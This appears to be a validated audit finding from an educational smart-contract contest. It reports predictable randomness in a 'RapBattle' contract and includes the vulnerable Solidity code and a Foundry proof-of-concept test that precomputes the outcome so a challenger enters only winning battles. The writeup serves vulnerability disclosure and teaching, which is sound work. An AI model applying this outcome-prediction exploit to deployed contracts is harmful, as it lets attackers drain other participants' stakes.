Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Reandomness Allows Challengers To Win Every Battle

Summary

A weak source of randomness is used to determine the outcome of "rap battles" which challengers can exploit and only enter battles they will win.

Vulnerability Details

The winner of rap battles is determined pseudorandomly in RapBattle:_battle via the code below:

uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}

Blockchains are deterministic public ledgers and a challenger can read the variables block.timestamp, block.prevrandao, msg.sender (themselves), and totalBattleSkill before entering a battle. They can use this information to only enter battles where they are guaranteed to win.

PoC add this to OneShotTest.t.sol - uncomment vm.warp to see scenario where the challenger will not enter a losing battle

function testWeakRandomNess() twoSkilledRappers() public {
// check users ballances of cred tokens before battle
assert(cred.balanceOf(user) == 4);
console.log("user balance before: ", cred.balanceOf(user));
assert(cred.balanceOf(challenger) == 4);
console.log("challenger balance before: ", cred.balanceOf(challenger));
//user has entered stage
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
// Get info to guess randomness
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
assertEq(totalBattleSkill, 150);
// Guess the randomness
// uncomment the line below to show the challenger will not enter unless they will win
//vm.warp(99);
uint256 guessRandomNumber = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(challenger)))) % totalBattleSkill;
console.log("Guessed Random Number: ", guessRandomNumber);
// if challenger will win enter the battle
if (guessRandomNumber > defenderRapperSkill) {
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 4);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
// assert challenger wins and gets 2 cred tokens
assert(cred.balanceOf(challenger) == 5);
console.log("challenger balance: ", cred.balanceOf(challenger));
assert(cred.balanceOf(user) == 3);
console.log("user balance: ", cred.balanceOf(user));
} else {
// challenger will not win and will not enter the battle
assert(cred.balanceOf(user) == 3);
console.log("user balance awaiting battle: ", cred.balanceOf(user));
assert(cred.balanceOf(challenger) == 4);
console.log("challenger balance waiting for winning battle: ", cred.balanceOf(challenger));
}
}

Impact

Challengers game the system and will only enter battles they will win.

Tools Used

  • Slither

  • Manual Review

  • Foundry

Recommendations

Use Chainlink's VRF service for verifiably random numbers to create fair battles for all rappers.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.